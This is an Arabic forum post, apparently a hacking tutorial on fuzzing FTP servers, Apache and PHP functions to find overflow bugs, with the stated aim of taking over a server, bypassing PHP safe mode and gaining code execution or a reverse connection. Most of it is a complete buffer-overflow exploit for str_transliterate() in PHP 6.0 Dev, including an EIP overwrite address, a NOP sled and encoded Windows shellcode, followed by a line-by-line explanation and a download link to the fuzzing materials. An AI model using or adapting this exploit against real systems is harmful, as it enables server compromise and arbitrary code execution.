السلام عليكم و رحمة الله و بركاته ,,
اليوم شرحنا عن كيفية اختبار البرامج المختلفة مثل
Ftp server
و
apache server
و
كشف ثغرات ال php.e xe
و التى منها نستطيع السيطرة على النظام او تخطى الوضع الامن و تشغيل الدوال الممنوعه و المحظور استخدامها على السيرفر
طيب تلميح بسيط بالنسبة لاخر نقطة الى هى php
احنا هانختبر دوال ال php الموجودة فى اصدار الاباتشى الى عندك من ثغرات الفيض
و لو فى دالة مصابة بثغرات فيض يمكن استخدامها لتنفيذ امر معين و منها نغلق السيف مود
او تتبع ال EIP الخاص بالعملية و اعادة توجية مسار معالج الاباتشى
الى عمل اتصال عكسى او code execute
مثلا ثغرة دالة
كود PHP:
str_transliterate()
مصابة بفيض فى اصدار PHP 6.0 Dev
كود PHP:
if(ini_get_bool('unicode.semantics')) {
$buff = str_repeat("\u4141", 256);
$eip = "\u1445\u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
$nops = str_repeat("\u9090", 20);
# WinExec Calc XP SP3 HEB Unicode-encoded shellcode
$shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u250D\u7C86\uD3FF\u6163\u636C\u414E";
# WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
# $shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u23AD\u7C86\uD3FF\u6163\u636C\u414E";
$exploit = $buff.$eip.$nops.$shellcode;
str_transliterate(0, $exploit, 0);
} else {
exit("Error! 'unicode.semantics' has be on!\r\n");
}
يمكن عمل التالى :
هنا نولد الفيض
كود PHP:
$buff = str_repeat("\u4141", 256);
و هنا عنوان ال EIP الجديد الذى سيسلكه البرنامج
كود PHP:
$eip = "\u1445\u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
و هنا عملية فارغة NULL
كود PHP:
$nops = str_repeat("\u9090", 20);
يعنى البرنامج لا يطبق شىء فيها No operation
و الشيل كود
كود PHP:
$shellcode = "\u02EB\u05EB\uF9E8\uFFFF\u33FF\u5BC0\u4388\u8315\u11C3\uBB53\u250D\u7C86\uD3FF\u6163\u636C\u414E";
يمكن عملة بالميتاسبلويت و يتم تنفيذ الشل كود .
طيب الان نتابع عملية فحص البرامج و البى اتش بى
يمكنك المتابعه من هنا
كود PHP:
http://www.mediafire.com/download/gigtvej6bgjgk77/Fuzzing_FTP_Server_Apache_PH.rar و البرامج المستخدمة فى الشرح مرفقة
و اى استفسار برجاء وضعه بموضوع الاستفسارات
والله الموفق و المستعان ..